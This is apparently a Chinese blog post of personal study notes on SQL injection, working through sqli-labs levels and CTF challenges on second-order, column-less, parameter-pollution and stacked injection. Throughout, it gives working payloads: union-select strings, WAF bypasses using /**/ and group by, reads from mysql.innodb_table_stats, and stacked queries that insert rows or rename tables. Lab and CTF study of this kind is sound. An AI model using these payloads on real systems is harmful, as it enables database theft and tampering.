关于sql注入的各种方法学习与总结

写了挺久的一篇笔记了,是一些关于sql注入的学习及理解,分享出来,也方便以后自己阅读

以后有新的理解,相关内容,也会及时更新添加上来的,如果有错误也希望大佬指正。

二次注入:

相当于进行两次注入,第一次注入输入恶意数据存储到数据库中,第二次在查询时引用存储的恶意数据发生了sql注入

注入流程:

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在后端代码中可能会被转义,但在存入数据库时还是原来的数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就形成了二次注入。

例:

插入1‘#
转义成1\’#
不能注入,但是保存在数据库时变成了原来的1’#
利用1’#进行注入,这里利用时要求取出数据时不转义

 

为什么要二次注入?

如果开发者对一个查询页面过滤十分充分,无法通过通过普通注入直接得到数据库时,可尝试结合其他页面将恶意数据存储到数据库中,再配合查询页面查询已存储的数据,导致数据库执行恶意代码。(如增加用户和查询用户结合)

与普通注入区别?

普通注入:(1)在http后面构造语句,是立即直接生效;

•         (2)普通注入很容易被扫描工具扫描到。

二次注入:(1)先构造语句(此语句含有被转义字符的语句);

•         (2)将我们构造的恶意语句存入数据库;

•         (3)第二次构造语句(结合前面已被存入数据库的语句构造。因为系统没有对已存入的数据做检查,成功注入);

•         (4)二次注入更加难以被发现。

https://www.sohu.com/a/138607080_698291

通过sql_labs 24理解:

源码分析

login.php:

mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集

login_creat.php:

mysql_escape_string — 转义一个字符串用于 mysql_query

pass_change.php:

 

 如果正常注入思路,在username处用'单引号测试,无报错

 在密码处使用单引号,任然返回同一个界面,这个时候这些页面想直接注入是比较难得,于是通过下面的注册用户配合进行二次注入

先创建一个新用户admin‘#,密码123,虽然转义了',但是存入数据库之后,还是原来的',且此时admin密码为admin

这时进入admin'#用户,修改密码的地方本来应该执行

原sql语句:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

带入此时的用户名,sql语句就变成了

$sql="UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'";

此时由于我们的恶意代码,导致真正执行的sql语句变成了修改admin的密码

$sql="UPDATE users SET PASSWORD='$pass' where username='admin'";

修改密码为123456

 查看admin密码,成功被修改

 

 

 

 

 

无列名注入(绕过空格,or,and等):

顾名思义,就是在不知道列名的情况下进行 sql 注入。

在 mysql => 5 的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 mysql sqli 中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。

当我们通过暴力破解获取到表名后,如何利用呢?

在 information_schema 中,除了 SCHEMATA、TABLES、COLUMNS 有表信息外,高版本的 mysql 中,还有 INNODB_TABLES 及 INNODB_COLUMNS 中记录着表结构。

ctf扩展实战([SWPU2019]Web1):

先进入页面,有登录注册,尝试一波弱口令,万能密码,单引号,都没有办法,这个时候看到有注册,联想到二次注入看下行不

 但是经过一波尝试,都没办法,可能这个页面不存在注入,登录进去再看看。

 申请广告处,用单引号发现sql注入报错

 

 

 判断注入类型为字符型,单引号闭合,再用1"看下是否报错

 

 

 确定为单引号,判断列数order by

 发现order by ,空格等都被被过滤

针对order by可以用group by绕过

针对空格可以用/**/绕过

于是继续尝试

 '1目的闭合后面引号,接着goup by 判断字段,直到第23个才报错

确定23个字段后,按常规方式,找占位

1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

找到是2,3,,再看看version和database

1'/**/union/**/select/**/1,version(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

常规操作接下来是爆表,payload如下:

group_concat(table_name) from information_schema.tables where table_schema=database()

但是这个题,又过滤了information_schema这个表

问题就来了,如何绕过information_schema:https://www.anquanke.com/post/id/193512

但是这个题没有sys.schema_auto_increment_columns 这个库,而且一般要超级管理员才可以访问sys

在这里只能用innodb绕过,爆出表名

innodb:mysql默认的存储引擎

  • mysql.innodb_table_stats 存储的是innodb引擎的库名和表名

  • innodb_index_stats 存储的是innodb引擎的库名,表名及其对应的索引名称

利用方式:

select table_name from mysql.innodb_table_stats where database_name=库名

当除了information_schema之外几个可以利用的表:https://www.jianshu.com/p/5aad090eb613

因此构造payload:

1' union select 1,(select group_concat(table_name) from mysql.innodb_table_stats,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

爆出了所有表名,但是innodb仅能爆出表名,由于不知道列名,再进行无列名注入

https://zhuanlan.zhihu.com/p/98206699?utm_source=wechat_session

无列名注入的原理其实很简单,类似于将我们不知道的列名进行取别名操作,在取别名的同时进行数据查询,所以,如果我们查询的字段多于数据表中列的时候,就会出现报错。

这道题也过滤的反引号`,用别名代替:(注意要先确定表里有几列)

先尝试表中只有两列

1' union select 1,(select group_concat(a) from(select 1 as a,2 union select * from users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1
//后面的x可以随便什么,相当于给前面的子查询命名,因为子查询的方式是将一个查询语句嵌套在另一个查询语句中,在特定的情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询语句的查询结果,可以为外层查询语句提供查询条件。

 

 报错列数不同,试3

 回显正确,证明表中列数是3,但是要查看的列是序号,明显不是想要的,查看第二列

1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

 

 查看flag,即是第三列的内容

1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'1

为了便于理解,数据库长相是以下的样子

 

总结

  • 空格绕过方法/**/

  • or和and被禁用时,information_schema,order by函数都不能用时,绕过information_schem可利用mysql.innodb_table_stats,sys.schema_table_statistics代替,order by用group by代替

  • 无列名注入:http://www.bubuko.com/infodetail-3398852.html

 

 

http参数污染:

通常一个http请求只会有一个参数,但是当同一个参数出现两次时,不同的中间件会出现不同的情况。

web服务器参数获取函数获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tmocat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(List)
ASP/IIS Request.QueryString(“par”) All(comma-delimited string)

如果WAF只检测了其中某一个参数,而中间件对同名参数的检测正好相反,如中间件是PHP/Apache的,WAF只检测同名参数中的第一个,当传递值是index.php?id=1&id=-1' union select 1,database(),3 --+

waf只对第一个检测,则绕过了waf,由于中间件取的最后一个参数,则可以执行想要的sql语句了

 

 

 

堆叠注入:

堆叠注入,即是多条sql语句放在一起执行。在mysql中,每条语句以;结尾,于是可以在执行sql语句时利用分号为间隔,mysql会一起执行

堆叠注入的好处:

可以执行除查询操作外的更多语句如建表,删表等操作,但是union则只能进行查询操作

堆叠注入的局限性:

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,如Oracle不支持堆叠注入。权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

以sqli-labs 38为例来理解:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
    //mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else 
    {
	echo '<font size="5" color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
    }
/* close connection */
mysqli_close($con1);

可以看到对传入参数直接进行了查询,没有过滤,造成sql注入

但是重点是使用了mysqli_multi_query函数,导致可以进行堆叠注入

执行?id=1' ;insert into users(id,username,password) values ('38','less38','hello')--+

 成功添加数据

 

ctf扩展([强网杯 2019]随便注):

正常sql注入,报错有回显,确定字段数为2

 如果继续union select,根据回显可见增删改查的操作都被正则过滤了

 

这时可以使用堆叠注入

1‘;show databases #看数据库

1';show tables#看表名

 1';show columns from `words`;#看列名,可知flag的位置,但是这个时候,仅用show已经找不出flag了

由于是堆叠注入,就可以执行非查询语句以外的sql语句了。使用alter(对已有表中添加删除操作),rename,可以更改表名列名的操作获取flag,大概思路如下:

把words改为其他的表名,数字改为words,flag修改为id

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);

 然后直接1' or 1=1#,找到flag

 

 

[SUCTF 2019]EasySQL 1:

同样是堆叠注入,如果正常去尝试,很多关键字都是被过滤了的

 

继续看flag,1;show columns from Flag;结果失败,最后看别人的wp

猜测出了查询语句:

select $_GET['query'] || flag from flag

解法思想是把"||"变成字符串连接符,而不是或 涉及到mysql中sql_mode参数设置,设置 sql_mode=pipes_as_concat,将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似(sql_mode设置

payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

select 1 from 的意思大概是:增加一个临时列,它的列名是1,然后那一列的值都为1(https://www.cnblogs.com/jiechn/p/3979261.html

还有一种解法:

payload:

*,1

使sql语言成为:

sql=select.post['query']."||flag from Flag";
如果$post['query']的数据为*,1,sql语句就变成了select *,1||flag from Flag,
等于select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。

 

总结

其实通过以上的题,堆叠注入更明显的优势就是可以执行更多的sql语句,但是一般堆叠注入的情况下,都过滤了大量的关键字,这个时候需要对sql非常熟悉,且发散思维要很强,

自己也学到了,可以通过修改表名列名,在本来的表中找到想要的东西。

 

。。。。。。。。。。

 

posted @ 2021-01-27 21:39  励志成为蔡徐坤  阅读(648)  评论(0编辑  收藏  举报